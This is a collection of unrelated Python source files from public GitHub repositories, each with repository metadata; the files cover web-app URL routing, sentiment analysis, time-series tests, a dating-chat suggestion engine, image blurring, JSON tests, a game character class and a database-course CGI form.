from django.contrib import admin from django.urls import path, include from . import views from django.conf import settings from django.contrib.staticfiles.urls import static, staticfiles_urlpatterns urlpatterns = [ path('admin/', admin.site.urls), path('account/', include('App_Login.urls')), path('blog/', include('App_Blog.urls')), path('', views.Index, name='index'), ] urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

[ "noreply@github.com" ]

hasnatul.noreply@github.com

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/merchandise-recommendations/final_merchandise/sentiment_analysis.py

af2e2ef7820fcf1323dc0eab1b2794e8593d4764

[]

no_license

shikhar1sharma/Recommendation-System

dcfc925ff6db6eb827a38ae919cf38b34001d0f1

6af5d0937bd5ef14748e67eec0a8e64c9ce91ec3

refs/heads/master

2020-03-28T18:55:38.639989

2018-12-23T02:30:32

148,927,614

0

null

UTF-8

Python

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py

# This file is for the sentiment analysis for the reviews for merchandise data, for clothing, jwellery and gifts dataset. import sqlite3 import pandas as pd import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import re from sklearn.model_selection import train_test_split from sklearn.metrics import confusion_matrix from sklearn import metrics from sklearn.metrics import roc_curve, auc from sklearn.naive_bayes import MultinomialNB from sklearn.naive_bayes import BernoulliNB from sklearn.linear_model import LogisticRegression from sklearn.metrics import accuracy_score from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer from wordcloud import WordCloud, STOPWORDS con = sqlite3.connect('merchandise_dataset.db') stopwords = set(STOPWORDS) def cleanReviews(text): regEx = re.compile('[^a-z]+') text = text.lower() text = regEx.sub(' ', text).strip() return text def bool_to_int(x): if x == 'negative': return 0 return 1 def show_wc(data, title = None): wc = WordCloud(background_color='white', stopwords=stopwords, max_words=200, max_font_size=40, scale=3, random_state=1).generate(str(data)) figure = plt.figure(1, figsize=(8, 8)) plt.axis('off') if title: figure.suptitle(title, fontsize=20) figure.subplots_adjust(top=2.3) plt.imshow(wc) plt.show() def getSentiment(countVector, tfidf_transformer, model, review): transformed_count = countVector.transform([review]) transformed_tf_idf = tfidf_transformer.transform(transformed_count) result = model.predict(transformed_tf_idf)[0] prob = model.predict_proba(transformed_tf_idf)[0] print("Sample estimated as %s: negative probability %f, positive probability %f" % (result.upper(), prob[0], prob[1])) reviews = pd.read_sql_query(""" SELECT overall, summary, helpful, total FROM amazonReviews WHERE overall != 3""", con) # Set the sentiment reviews["sentiment"] = reviews["overall"].apply(lambda score: "positive" if score > 3 else "negative") # Set the usefulness score reviews["usefulScore"] = (reviews["helpful"]/reviews["total"]).apply(lambda n: "useful" if n > 0.8 else "useless") # Clean the review texts reviews["summaryClean"] = reviews["summary"].apply(cleanReviews) # 80% train and 20% test train, test = train_test_split(reviews, test_size=0.2) # Get the frequency of each word ngram model countVector = CountVectorizer(min_df = 1, ngram_range = (1, 4)) X_train_counts = countVector.fit_transform(train["summaryClean"]) #applying tf-idf to the count vector model tfidf_transformer = TfidfTransformer() X_train = tfidf_transformer.fit_transform(X_train_counts) X_test_vector = countVector.transform(test["summaryClean"]) X_test = tfidf_transformer.transform(X_test_vector) y_train = train["sentiment"] y_test = test["sentiment"] pred = dict() mpl.rcParams['font.size']=12 mpl.rcParams['savefig.dpi']=100 mpl.rcParams['figure.subplot.bottom']=.1 show_wc(reviews["summaryClean"]) show_wc(reviews[reviews.overall == 1]["summaryClean"]) # low scored show_wc(reviews[reviews.overall == 5]["summaryClean"]) # high scored show_wc(reviews[reviews.overall == 2]["summaryClean"]) # average scored model = MultinomialNB().fit(X_train, y_train) pred['Multinomial'] = model.predict(X_test) model = BernoulliNB().fit(X_train, y_train) pred['Bernoulli'] = model.predict(X_test) l_reg = LogisticRegression(C=1e5) l_reg_result = l_reg.fit(X_train, y_train) pred['Logistic'] = l_reg.predict(X_test) vfunc = np.vectorize(bool_to_int) idx = 0 colors = ['b', 'g', 'y', 'm', 'k'] for model, predicted in pred.items(): fp_rate, tp_rate, thresholds = roc_curve(y_test.map(bool_to_int), vfunc(predicted)) roc_auc = auc(fp_rate, tp_rate) plt.plot(fp_rate, tp_rate, colors[idx], label='%s: AUC %0.2f'% (model,roc_auc)) idx += 1 plt.title('Classifiers comparaison with ROC') plt.legend(loc='lower right') plt.plot([0,1],[0,1],'r--') plt.xlim([-0.1,1.2]) plt.ylim([-0.1,1.2]) plt.ylabel('True Positive Rate') plt.xlabel('False Positive Rate') plt.show() print(metrics.classification_report(y_test, pred['Logistic'], target_names = ["positive", "negative"])) ''' precision recall f1-score support positive 0.78 0.70 0.74 5291 negative 0.97 0.98 0.97 44360 avg / total 0.94 0.95 0.95 49651 ''' print(accuracy_score(y_test, pred['Bernoulli'])) # 0.897383738495 print(accuracy_score(y_test, pred['Multinomial'])) # 0.915188012326 print(accuracy_score(y_test, pred['Logistic'])) # 0.946708021994 features = countVector.get_feature_names() feature_coefs = pd.DataFrame( data = list(zip(features, l_reg_result.coef_[0])), columns = ['feature', 'coefficient'] ) print(feature_coefs.sort_values(by='coefficient')) # [537027 rows x 2 columns] getSentiment(countVector, tfidf_transformer, l_reg, "Heavenly Highway Hymns") # Sample estimated as POSITIVE: negative probability 0.001339, positive probability 0.998661 getSentiment(countVector, tfidf_transformer, l_reg, "Very oily and creamy. Not at all what I expected... it just looked awful!!! Plus, took FOREVER to arrive.") # Sample estimated as NEGATIVE: negative probability 0.997464, positive probability 0.002536 getSentiment(countVector, tfidf_transformer, l_reg, "Weird smelling shampoo!.") # Sample estimated as NEGATIVE: negative probability 0.859040, positive probability 0.140960 con.close()

[ "ggirira2@asu.edu" ]

ggirira2@asu.edu

5e1999c89045efcad19540cd757f6d1fdfc21ab2

80da32b5ff1006f572920839a884edbdc7848902

/web/main/urls.py

e5ab3f774606d5a834fbb28352548e67ddf82751

[]

no_license

SilinAlexander/Shop2

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98fe52e97b0b8231d62674a39985e940a263f342

refs/heads/master

2023-04-03T13:42:48.284467

2021-04-10T10:16:00

345,267,486

0

1

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Python

false

628

py

from django.contrib.auth.decorators import login_required from django.views.generic import RedirectView from django.contrib.auth.views import LogoutView from django.urls import path from . import views urlpatterns = [ # path('', login_required(RedirectView.as_view(pattern_name='admin:index'))), path('', views.BaseView.as_view(), name='base'), path('signup/', views.UserSignUpView.as_view(), name='signup'), path('logout/', LogoutView.as_view(next_page='/'), name='logout'), path('login/', views.UserSignInView.as_view(), name='login'), # path('email/', views.SendEmailView.as_view(), name='login'), ]

[ "asilin1997@mail.ru" ]

asilin1997@mail.ru

c5afaa2e84fa29e5ab2ebdf6d8bad5d14b00c86e

971e0efcc68b8f7cfb1040c38008426f7bcf9d2e

/tests/artificial/transf_Quantization/trend_ConstantTrend/cycle_12/ar_/test_artificial_1024_Quantization_ConstantTrend_12__0.py

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[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]

permissive

antoinecarme/pyaf

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b12db77cb3fa9292e774b2b33db8ce732647c35e

refs/heads/master

2023-09-01T09:30:59.967219

2023-07-28T20:15:53

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457

77

BSD-3-Clause

2023-03-08T21:45:40

2016-10-13T09:30:30

Python

UTF-8

Python

false

272

py

import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 12, transform = "Quantization", sigma = 0.0, exog_count = 0, ar_order = 0);

[ "antoine.carme@laposte.net" ]

antoine.carme@laposte.net

6562c268a31325ccceab788846c67be462dab3ae

5c12ab4630086e389354277bb1716b82468be42e

/mrunal.py

882dd98cfe9f389c6d1c47c30d11ce6dcbdc7126

[]

no_license

mrunal736/msj-leetcodeprblms

743d76f491cb3f749abbd1f3fabd7f13c5b81671

4c70dade61ddb760b531ac80918dbc65cbaaddd1

refs/heads/main

2023-06-20T21:46:07.322995

2021-07-16T14:44:19

386,318,967

0

null

UTF-8

Python

false

72

py

print("I am Mrunal Jambenal,A first year computer Engineering student")

[ "noreply@github.com" ]

mrunal736.noreply@github.com

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/firstPython.py

d0bfe1e2aaf547f26f7701b4f07ec8bcfac7c853

[]

no_license

chanderbijlani/test_repo

4560f362f50490df9072ae14ecf78d4f7ef4a450

9ddfa01a70e4f0d910a24b5d73be1172fbf57f2e

refs/heads/master

2022-12-08T18:39:10.177625

2020-09-18T18:41:54

296,657,304

0

null

2020-09-18T18:41:55

2020-09-18T15:17:19

Python

UTF-8

Python

false

50

py

## My First python code print("New Python File")

[ "noreply@github.com" ]

chanderbijlani.noreply@github.com

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0052545f09c81b8d6720163213653260829b15bd

/algo/music_processor.py

7234dfe69a1fa506046cdf6ae451455354a3b7e2

[]

no_license

mashaka/AIBarney

76f4cc574e24c5e77c86209ca413490a00480beb

609986096b22cf774ef714fba184614f5bbc88f6

refs/heads/master

2021-01-20T06:38:16.177022

2017-10-22T17:56:50

83,876,419

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1

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UTF-8

Python

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py

from typing import List, Dict from .intersection import Intersection from .tip import Tip import random from datetime import datetime from .content import Content, ContentType from enum import Enum, unique from .tools import UpdateType def performerTipString(data, tipBegin, tipEnd): performerName = data["name"] return tipBegin + " " + performerName + tipEnd def getCoverUrl(data): pictureUrl = None if "cover" in data: pictureUrl = data["cover"]["source"] return pictureUrl def findNearestEvent(data): if not "events" in data: return None events = data["events"]["data"] now = datetime.now() for i in range(len(events) - 1, 0, -1): event = events[i] start = datetime.strptime(event["start_time"][:-6], '%Y-%m-%dT%H:%M:%S') if start > now: return event return None MINIMAL_MUSIC_LIKES = 20 suggestCommonArtistWeight = 0.5 suggestCommonGenreWeight = 0.3 @unique class QuestionType(Enum): GENERAL_MUSIC_QUESTION = 1, SPECIFIC_GENERAL_QUESTION = 2, PERFORMER_LIKING_QUESTION = 3, SPECIFIC_PERFORMER_QUESTION = 4, ASK_PERFORMER_EVENT = 5, GENRE_SUGGEST_ANOTHER = 6 class MusicProccessor: def __init__( self, firstData, secondData): self.music_confidence = 0.5 self.abusiveLoveToMusicsDefaultWeight = 0.1 firstDataList = firstData["data"] secondDataList = secondData["data"] firstIds = set( map( lambda x: x["id"], firstDataList ) ) secondIds = set( map( lambda x: x["id"], secondDataList ) ) firstGenres = set( map( lambda x: x["genre"] if "genre" in x else None, firstDataList) ) secondGenres = set( map( lambda x: x["genre"] if "genre" in x else None, secondDataList ) ) intersectionIds = firstIds & secondIds intersectionGenres = firstGenres & secondGenres self.firstData = firstDataList self.secondData = secondDataList self.commonPerformers = [] self.genreToPerformersLists = dict() for genre in intersectionGenres: if genre: self.genreToPerformersLists[genre] = [[], []] self.performersWeights = dict() for data in firstDataList: if data["id"] in intersectionIds: self.commonPerformers.append( data ) self.performersWeights[data["id"]] = 0.5 if "genre" in data and data["genre"] in intersectionGenres: self.genreToPerformersLists[data["genre"]][0].append( data ) for data in secondDataList: if "genre" in data and data["genre"] in intersectionGenres: self.genreToPerformersLists[data["genre"]][1].append( data ) self.idToType = dict() self.idToPerformer = dict() self.lastTipId = -1 self.process1() def process1(self): if self.music_confidence == 0: return [] intersections = [] if self.abusiveLoveToMusicsDefaultWeight > 0: firstTip = Tip( "I have seen a lot of likes on your facebook page. Do you actually like hearing musics?", self.abusiveLoveToMusicsDefaultWeight ) self.idToType[firstTip.id] = QuestionType.GENERAL_MUSIC_QUESTION secondTip = Tip( "You seem to love musics, there are huge amount of likes on your facebook page. What is your favourite band?", self.abusiveLoveToMusicsDefaultWeight ) self.idToType[secondTip.id] = QuestionType.SPECIFIC_GENERAL_QUESTION if len( self.firstData ) > MINIMAL_MUSIC_LIKES and len( self.secondData ) > MINIMAL_MUSIC_LIKES: intersections.append( Intersection( "Abusive love to musics", self.abusiveLoveToMusicsDefaultWeight, (None, None), [ firstTip, secondTip ] ) ) for data in self.commonPerformers: id = data["id"] print( id ) print( self.performersWeights[id] ) if self.performersWeights[id] < 0.5: continue pictureUrl = getCoverUrl( data ) confirmMutiallyLikingPerformerTip = performerTipString( data, "You seem to hear music a lot. Do you actually like", " songs?") askAboutFavouritePerformerSongTip = performerTipString( data, "You seem to like", " musics. What is your favorite song?" ) tip1 = Tip( confirmMutiallyLikingPerformerTip, 0.9 ) self.idToType[tip1.id] = QuestionType.PERFORMER_LIKING_QUESTION tip2 = Tip( askAboutFavouritePerformerSongTip, 0.7 ) self.idToType[tip2.id] = QuestionType.SPECIFIC_PERFORMER_QUESTION self.idToPerformer[tip1.id] = id self.idToPerformer[tip2.id] = id event = findNearestEvent( data ) print(event) tipsList = [ tip1, tip2 ] if self.performersWeights[id] > 0.6 and event: loc = "" if "city" in event["place"]["location"]: loc = " in " + event["place"]["location"]["city"] elif "county" in event["place"]["location"]: loc = " in " + event["place"]["location"]["country"] goToEventSuggesion = "Hey, you like " + data["name"] \ + ". There will be " + event["name"] + "at " + event["place"]["name"]\ + loc + "." + " Do you mind going together?" tip3 = Tip( goToEventSuggesion, 0.5 ) self.idToType[tip3.id] = QuestionType.ASK_PERFORMER_EVENT self.idToPerformer[tip3.id] = id tipsList.append( tip3 ) intersections.append( Intersection( performerTipString( data, "Like music of", "" ), suggestCommonArtistWeight, ( Content( ContentType.IMAGE_URL, pictureUrl ), None), tipsList ) ) print( tipsList ) for genre, performersPair in self.genreToPerformersLists.items(): firstList = performersPair[0] secondList = performersPair[1] firstElement = random.choice( firstList ) secondElement = random.choice( secondList ) firstUrl = getCoverUrl( firstElement ) secondUrl = getCoverUrl( secondElement ) firstName = firstElement["name"] secondName = secondElement["name"] if firstName != secondName: text = "Looks like you are listening to " + genre + " music. I also do. Have you heard about " \ + secondName + "?" tip = Tip( text, 1.0 ) self.idToType[tip.id] = QuestionType.GENRE_SUGGEST_ANOTHER intersections.append( Intersection( "Like music of " + genre + ": " + firstName + ", " + secondName, suggestCommonGenreWeight, ( Content( ContentType.IMAGE_URL, firstUrl ), Content( ContentType.IMAGE_URL, secondUrl ) ), [ tip ] ) ) self.inters = intersections def process(self): return self.inters def update(self, data, nlpInfo): print( self.idToType ) if UpdateType.DELETE_TIP == data.type: id = data.tip_id if id in self.idToType: print( "Delete " + str( id ) ) tp = self.idToType[id] if tp == QuestionType.GENERAL_MUSIC_QUESTION or tp == QuestionType.SPECIFIC_GENERAL_QUESTION: self.abusiveLoveToMusicsDefaultWeight = 0.0 else: performer = self.idToPerformer[id] self.performersWeights[performer] = 0.0 elif UpdateType.INCOME_MSG == data.type: flag = nlpInfo.is_positive print( self.performersWeights ) print(flag) if data.msg == "Yes": flag = True if data.msg == "No": flag = False print(self.lastTipId) if self.lastTipId != -1 and self.lastTipId in self.idToType: tp = self.idToType[self.lastTipId] if tp == QuestionType.GENERAL_MUSIC_QUESTION: if flag == True: self.music_confidence = 1.0 elif flag == False: self.music_confidence = 0.0 if tp == QuestionType.PERFORMER_LIKING_QUESTION or tp == QuestionType.SPECIFIC_PERFORMER_QUESTION: if flag == True: self.performersWeights[ self.idToPerformer[self.lastTipId] ] = 1.0 elif flag == False: self.performersWeights[ self.idToPerformer[self.lastTipId] ] = 0.0 if tp == QuestionType.GENERAL_MUSIC_QUESTION or tp == QuestionType.SPECIFIC_GENERAL_QUESTION: self.abusiveLoveToMusicsDefaultWeight = 0.0 print( self.performersWeights ) elif UpdateType.OUTCOME_MSG == data.type: pass elif UpdateType.OUTCOME_TIP_MSG == data.type: self.lastTipId = data.tip_id self.process1()

[ "aleksejzuravlev@MacBook-Aleksej.local" ]

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''' 练习:创建变量表示用户的积分,如果达到了10000分,输出"黑金用户"; 否则如果达到了5000分,输出"黄金用户"; 否则如果达到1000分,输出"白银用户"; 否则输出"普通用户" ''' #score = 30000 #score = 8000 #score = 2000 score = 200 if(score>=10000): print('黑金用户') elif(score>=5000): print('黄金用户') elif(score>=1000): print('白银用户') else: print('普通用户') print('程序运行结束')

[ "1527296894@qq.com" ]

1527296894@qq.com

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/Chapter5/Practice 5-1.py

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[]

no_license

Wiilz/Python-learning

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2021-01-01T04:41:45.392318

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surname = 'W' name = 'L Z' print "My name is",surname,name

[ "weiliangze@vip.qq.com" ]

weiliangze@vip.qq.com

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/Part2/gaussian_blur3d_starter.py

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zzhang115/CodeChallenge

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refs/heads/master

2020-03-17T02:31:07.025144

2018-05-14T08:45:46

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py

import numpy as np import h5py volume = [] meta_data = {} config = {"sigma" : 5} input_3d = None blurred_img = None # load 3d volume from hdf5 file and stored in input_3d def load_3dvolume(volume_path): global input_3d hdf5_file = h5py.File(volume_path, "r") pixel_data_grp = hdf5_file["pixel_data"] inverse_convert_pixelscale = np.iinfo(np.int16).max for pixel_data_index in pixel_data_grp: pixel_array = pixel_data_grp[pixel_data_index][()] volume.append(pixel_array) pixel_spacing_grp = hdf5_file["pixel_spacing"] meta_data["pixel_spacing_x"] = pixel_spacing_grp["pixel_spacing_x"].value meta_data["pixel_spacing_y"] = pixel_spacing_grp["pixel_spacing_y"].value meta_data["pixel_spacing_z"] = pixel_spacing_grp["pixel_spacing_z"].value hdf5_file.close() input_3d = np.asarray(volume) return input_3d, meta_data, config # gaussian blured algorithm is to calculate the value of the blur point according to its neighbor pixels # as the formula from https://en.wikipedia.org/wiki/Gaussian_blur, I made a "mask" to set its distance # with neighbor pixels, and then mulitple the normal distribution possiblity. def gaussian(x_space, y_space, z_space, sigma): gaussian = np.zeros((2 * x_space + 1, 2 * y_space + 1, 2 * z_space + 1)) row = 0 for x in range(-x_space, x_space + 1): col = 0 for y in range(-y_space, y_space + 1): lay = 0 for z in range(-z_space, z_space + 1): d1 = np.power(sigma, 3) * np.power(2 * np.pi, 3 / 2) d2 = np.exp(-(x ** 2 + y ** 2 + z ** 2) / (2 * sigma ** 2)) gaussian[row][col][lay] = (1 / d1) * d2 lay = lay + 1 col = col + 1 row = row + 1 return gaussian # I spent too much time on figuring the gaussian algorithm and how to extend from 2d blurrd image to 3d volume, # this function use the mask we generate from func:gaussian to multiple with the input_3d, finally we got # the blurred image. def caculate_blurred_img(img, mask): row, col, lay = img.shape m, n, o = mask.shape new = np.zeros((row + m - 1, col + n - 1, lay + o -1)) n = n // 2 m = m // 2 o = o // 2 blurred_img = np.zeros(img.shape) new[m:new.shape[0] - m, n:new.shape[1] - n, o:new.shape[2] - o] = img for i in range(m, new.shape[0] - m): for j in range(n, new.shape[1] - n): for k in range(o, new.shape[2] - o): temp = new[i - m:i + m + 1, j - n:j + n + 1, k - o:k + o + 1] result = temp * mask blurred_img[i - m, j - n, k - o] = result.sum() return blurred_img # the pixel spacing from different dimension I think we should discuss how to involve the calculation # this is my personl idea and use fixed space to calcaute the blurred image def gaussian_blur3d(input_3d: np.ndarray, meta_data: dict, config: dict) -> np.array: # Performs 3D Gaussian blur on the input volume mask = gaussian(10, 10, 10, config["sigma"]) blurred_img = caculate_blurred_img(input_3d, mask) return blurred_img # pre_gaussian_blur3d and post_gaussian_blur3d used for InterferencePipline test def pre_gaussian_blur3d(input_volume_path): global input_3d, meta_data, config input_3d, meta_data, config = load_3dvolume(input_volume_path) def run_gaussian_blur3d(): global blurred_img, input_3d, meta_data, config blurred_img = gaussian_blur3d(input_3d, meta_data, config) def post_gaussian_blur3d(output_volume_path): # write blurred image to hdf5 file hdf5_file = h5py.File(output_volume_path + "blurred_img.hdf5", "w") pixel_data_grp = hdf5_file.create_group("pixel_data") for i in range(len(blurred_img)): pixel_data_grp.create_dataset("pixel_data" + str(i), dtype='f4', data=blurred_img[i]) hdf5_file.close() if __name__ == "__main__": pre_gaussian_blur3d("../hdf5_data/hdf5_data.hdf5") run_gaussian_blur3d() post_gaussian_blur3d("./")

[ "zzhang115@dons.usfca.edu" ]

zzhang115@dons.usfca.edu

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/test_UsePyFFTW.py

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permissive

opticspy/lightpipes

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#! /usr/bin/env python """ Script to test the new usePyFFTW option to compare pyFFTW and numpy FFT """ import time from LightPipes import * start_time = time.time() wavelength = 500*nm size = 25*mm N = 1000 F=Begin(size, wavelength, N) F=Fresnel(F, 100, usepyFFTW = True) print(F.field[23,33]) #Fresnel: (1.0795142552372512+0.45098289321969964j) #Forvard: (0.9865686238070652+0.16334733092228165j) print("--- %s seconds ---" % (time.time() - start_time))

[ "fred511949@gmail.com" ]

fred511949@gmail.com

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/Lib/test/test_json/test_dump.py

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[ "Python-2.0", "CC-BY-4.0", "MIT" ]

permissive

RustPython/RustPython

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py

from io import StringIO from test.test_json import PyTest, CTest from test.support import bigmemtest, _1G class TestDump: def test_dump(self): sio = StringIO() self.json.dump({}, sio) self.assertEqual(sio.getvalue(), '{}') def test_dumps(self): self.assertEqual(self.dumps({}), '{}') def test_dump_skipkeys(self): v = {b'invalid_key': False, 'valid_key': True} with self.assertRaises(TypeError): self.json.dumps(v) s = self.json.dumps(v, skipkeys=True) o = self.json.loads(s) self.assertIn('valid_key', o) self.assertNotIn(b'invalid_key', o) def test_encode_truefalse(self): self.assertEqual(self.dumps( {True: False, False: True}, sort_keys=True), '{"false": true, "true": false}') self.assertEqual(self.dumps( {2: 3.0, 4.0: 5, False: 1, 6: True}, sort_keys=True), '{"false": 1, "2": 3.0, "4.0": 5, "6": true}') # Issue 16228: Crash on encoding resized list def test_encode_mutated(self): a = [object()] * 10 def crasher(obj): del a[-1] self.assertEqual(self.dumps(a, default=crasher), '[null, null, null, null, null]') # Issue 24094 def test_encode_evil_dict(self): class D(dict): def keys(self): return L class X: def __hash__(self): del L[0] return 1337 def __lt__(self, o): return 0 L = [X() for i in range(1122)] d = D() d[1337] = "true.dat" self.assertEqual(self.dumps(d, sort_keys=True), '{"1337": "true.dat"}') class TestPyDump(TestDump, PyTest): pass class TestCDump(TestDump, CTest): # The size requirement here is hopefully over-estimated (actual # memory consumption depending on implementation details, and also # system memory management, since this may allocate a lot of # small objects). @bigmemtest(size=_1G, memuse=1) def test_large_list(self, size): N = int(30 * 1024 * 1024 * (size / _1G)) l = [1] * N encoded = self.dumps(l) self.assertEqual(len(encoded), N * 3) self.assertEqual(encoded[:1], "[") self.assertEqual(encoded[-2:], "1]") self.assertEqual(encoded[1:-2], "1, " * (N - 1))

[ "33094578+coolreader18@users.noreply.github.com" ]

33094578+coolreader18@users.noreply.github.com

4ba4638364b0e7648d4f4abc2d5e18a29c56e940

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/Models/Working_Hours.py

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[]

no_license

jimist/yelp_crawler

cc9afbe08acc8e2c8b03b7c3c0d6a1ce49b3331c

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refs/heads/master

2022-12-11T07:25:12.853150

2019-05-09T19:04:23

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null

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Python

false

595

py

from sqlalchemy import ( Column, ForeignKey, Numeric, Date, JSON, VARCHAR, BOOLEAN, ) from sqlalchemy.orm import relationship from sqlalchemy.dialects.mysql import TINYINT,MEDIUMINT,CHAR from Models.Model import Model class Working_Hours(Model): __tablename__ = 'working_hours' biz_id=Column(CHAR(22),primary_key=True) monday = Column(VARCHAR(40)) sunday = Column(VARCHAR(40)) tuesday = Column(VARCHAR(40)) wednesday = Column(VARCHAR(40)) thursday = Column(VARCHAR(40)) friday = Column(VARCHAR(40)) saturday = Column(VARCHAR(40))

[ "alirezaimn@yahoo.com" ]

alirezaimn@yahoo.com

e36a01c8c6ee3fc7bce36afcf8fb6864c1bf83bb

286703e80d78fa768717ca542de7af83d4fa29a1

/rules/Character.py

d3b4662b4c58aa77119bcfadef742cb997e0cb2c

[]

no_license

JazzJack/Pytans

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87800792f6949f7c6993c2b7078ef7835ce87899

refs/heads/master

2020-04-15T07:39:05.821992

2012-02-15T15:08:40

null

0

null

UTF-8

Python

false

5,787

py

#!/usr/bin/python # -*- coding: utf-8 from __future__ import division, print_function, unicode_literals import xml.etree.ElementTree as ElementTree import copy import rules from rules import defaultSkillTree from rules.Announcement import Announcement, Action import rules.Attributes from rules.Dicing import roll, getNumberOfSuccesses, isSuccessful import rules.Race as Race from rules.Skilltree import recursiveSkillAdd from rules.Utils import none2Empty class Character(object): def __init__(self, name): self.name = name self.attributes = rules.Attributes.Attributes() self.skills = copy.deepcopy(defaultSkillTree) self.vantages = [] self.WT = 8 self.RS = 0 self.SR = 0 self.exhaustion = 0 self.AP = 0 self.wounds = 0 self.maneuvers = [] self.feats = [] def rollAttribute(self, att, diff, minSuccesses = 0): r = roll(self.attributes[att]) if minSuccesses : return isSuccessful(r, diff, minSuccesses) else : return getNumberOfSuccesses(r, diff) def soak(self, damage, sharpness): """ Macht den Widerstandswurf für den Charakter und gibt die Anzahl der Wunden zurück. """ d = damage wounds = -1 damage -= self.RS diff = sharpness - self.SR while damage > 0 : wounds += 1 damage -= self.rollAttribute("KO", diff) wounds = max(0, wounds) self.wounds += wounds self.exhaustion += wounds #print("%s soaked %d against the %d and got %d wounds!"%(self.name, d, sharpness, wounds)) return wounds def doInitiative(self, diff): self.AP = self.rollAttribute("IN", diff) def isAlive(self): return self.exhaustion < self.attributes["KO"] and self.wounds < 6 def reset(self): self.wounds = 0 self.exhaustion = 0 self.AP = 0 def getSkillsDict(self): skillsDict = {} for s, v in self.skills.items() : skillsDict[s] = self.getPoolSize(s) return skillsDict def getPoolSize(self, skill): assert skill in self.skills # todo: "Hart im Nehmen" return max(1, self.skills[skill].summed() - self.exhaustion) def rollSkill(self, skill, diff, minSuccesses = 0, att=None) : assert skill in self.skills if att is not None and att in self.attributes: diff = max(1, diff + self.attributes.getModifier(att)) r = roll(self.getPoolSize(skill)) if minSuccesses : return isSuccessful(r, diff, minSuccesses) else: return getNumberOfSuccesses(r, diff) def attack(self, weapon, maneuver, target, options = None): """ Erzeugt ein Ansageobjekt und reduziert die AP """ attack = Action(self, maneuver, weapon, options) assert self.AP >= 0 announcement = Announcement(attack, target) return announcement def gainAP(self): gain = 3 - self.attributes.getModifier("SN") self.AP = min(self.attributes["GE"], self.AP + gain) print("Character %s got %d AP (total %d)"%(self.name, gain, self.AP)) def __str__(self): indent = " " result = "<Character " + self.name + "\n" for att, _ in self.attributes: result += indent + att + " = " + str(self.attributes[att]) + "\n" result += ">" return result.encode("utf-8") def __repr__(self): return self.__str__() def setRace(self, race): self.race = race self.attributes.addModDict(race.attributeMods) def addVantage(self, vantage): self.vantages.append(vantage) self.attributes.addModDict(vantage.mods) def getXPCosts(self): costs = self.race.getXPCosts() costs += self.attributes.getXPCosts() costs += self.skills.getTotalCosts() for v in self.vantages: costs += v.costs for m in self.maneuvers: costs += m.getXPCosts() for f in self.feats: costs += f.costs return costs def addFeat(self, feat): self.feats.append(feat) def readCharacterFromXML(filename): tree = ElementTree.parse(filename) xChar = tree.getroot() # Name char = Character(xChar.find("Name").text) # Race raceName = xChar.find("Rasse").text char.setRace(Race.getRaceByName(raceName)) # Attributes for att in xChar.find("Attribute"): char.attributes[rules.Attributes.mapping[att.tag]] = int(att.get("value")) # Vantages for v in none2Empty(xChar.find("Teile")) : vantageName = v.get("id") if vantageName in rules.vantages : char.addVantage(rules.vantages[vantageName]) else : import warnings warnings.warn("Unknown Vantage '%s'"%vantageName) # Feats for f in none2Empty(xChar.find("Sonderfertigkeiten")) : featName = f.get("id") if featName in rules.feats: char.addFeat(rules.feats[featName]) else : import warnings warnings.warn("Unknown Feat '%s' in char %s"%(featName, char.name)) # Skills recursiveSkillAdd(char.skills, xChar.find("Fertigkeiten")) # Maneuvers for xManeuver in none2Empty(xChar.find("ManöverListe")): maneuverName = xManeuver.get("id") if maneuverName in rules.maneuvers: maneuver = rules.maneuvers[maneuverName].copy() maneuver.level = int(xManeuver.get("stufe")) char.maneuvers.append(maneuver) else : import warnings warnings.warn("Unknown Maneuver %s in Char %s"%(maneuverName, char.name)) return char

[ "klaus.greff@gmx.net" ]

klaus.greff@gmx.net

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0db410b97489d2ede4b612a840b8f3cf529a8e16

/__init__.py

09ad418de8d45f030c6cddfaca804bae8906260c

[ "MIT" ]

permissive

Desaiakshata/CovidTracker

a7cb98831662ff044bf7b7e331e9d282aeab212e

5609b67b7c48abf308e12e8d29cb7cf49cb24866

refs/heads/main

2023-06-26T20:27:12.082643

2021-08-04T11:18:43

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0

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from flask import Flask app = Flask(__name__) from program import routes

[ "noreply@github.com" ]

Desaiakshata.noreply@github.com

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/proj3/web/tr_insform.cgi

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[]

no_license

andretavluis/Databases

6d5c4779e173b58f39ad7fd12fde2a5943687ad4

c29d06d1485994fd5f9329408b378b69b5f231f7

refs/heads/main

2023-04-27T22:13:14.039316

2021-05-18T16:53:24

368,599,975

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null

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cgi

#!/usr/bin/python3 import psycopg2 import login import cgi form = cgi.FieldStorage() print('Content-type:text/html\n\n') print('<html>') print('<head>') print('<title>Proj 3</title>') print('</head>') print('<body>') # The string has the {}, the variables inside format() will replace the {} print('<h3>Insert New Transformer Data</h3>') # The form will send the info needed for the SQL query print('<form action="tr_insert.cgi" method="post">') print('<p>Transformer ID: <input type="text" name="id"/></p>') print('<p>Primary busbar ID: <input type="text" name="pbbid"/></p>') print('<p>Primary Voltage: <input type="number" name="pv"/></p>') print('<p>Secondary busbar ID: <input type="text" name="sbbid"/></p>') print('<p>Secondary Voltage: <input type="number" name="sv"/></p>') print('<p>GPS Latitude: <input type="number" name="gpslat" step="0.000001"/></p>') print('<p>GPS Longitude: <input type="number" name="gpslong" step="0.000001"/></p>') print('<p><input type="submit" value="Submit"/></p>') print('</form>') connection = None try: connection = psycopg2.connect(login.credentials) cursor = connection.cursor() # Displaying substations sql = 'SELECT * FROM substation;' cursor.execute(sql) result = cursor.fetchall() print('<h3>Available Substations</h3>') print('<table border="5">') print('<tr><td>gpslat</td><td>gpslong</td><td>locality</td></tr>') for row in result: print('<tr>') for value in range(len(row)-2): print('<td>{}</td>'.format(row[value])) print('</tr>') print('</table>') # Displaying busbars sql = 'SELECT * FROM busbar;' cursor.execute(sql) result = cursor.fetchall() print('<h3>Available Busbars</h3>') print('<table border="5">') print('<tr><td>ID</td><td>voltage</td></tr>') for row in result: print('<tr>') for value in row: print('<td>{}</td>'.format(value)) print('</tr>') print('</table>') # Displaying transfomers sql = 'SELECT * FROM transformer;' cursor.execute(sql) result = cursor.fetchall() print('<h3>Already Existing Transformers</h3>') print('<table border="5">') 